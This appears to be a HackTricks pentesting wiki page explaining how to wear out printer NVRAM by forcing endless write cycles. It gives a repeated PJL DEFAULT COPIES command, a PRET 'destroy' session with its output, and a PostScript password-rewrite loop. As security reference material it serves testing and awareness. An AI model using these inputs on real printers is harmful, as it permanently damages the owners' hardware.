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Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
# Physical Damage Long-term settings for printers and other embedded devices are stored in non-volatile memory ([NVRAM](https://en.wikipedia.org/wiki/Non-volatile\_random-access\_memory)) which is traditionally implemented either as [EEPROM](https://en.wikipedia.org/wiki/EEPROM) or as [flash memory](https://en.wikipedia.org/wiki/Flash\_memory). Both components have a limited lifetime. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur. ### PJL For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for `X`: ``` @PJL DEFAULT COPIES=X ``` Usually, before stop allowing writing anymore NVRAM parameters are fixed to the factory default value and all variables could still be changed for the current print job using the `@PJL SET...` command. Using [PRET](https://github.com/RUB-NDS/PRET): ``` ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> destroy Warning: This command tries to cause physical damage to the printer NVRAM. Use at your own risk. Press CTRL+C to abort. Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM! Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave? [... wait for about 24 hours ...] I'm afraid. I'm afraid, Dave. Dave, my mind is going... NVRAM died after 543894 cycles, 18:46:11 ``` ### PostScript For PostScript, one needs to find an entry in the currentsystemparams dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate would be a PostScript password.\ PostScript can run a script that corrupts its own NVRAM: ``` /counter 0 def { << /Password counter 16 string cvs /SystemParamsPassword counter 1 add 16 string cvs >> setsystemparams /counter counter 1 add def } loop ``` **More information about these techniques can be found in** [**http://hacking-printers.net/wiki/index.php/Physical\_damage**](http://hacking-printers.net/wiki/index.php/Physical\_damage)
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Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**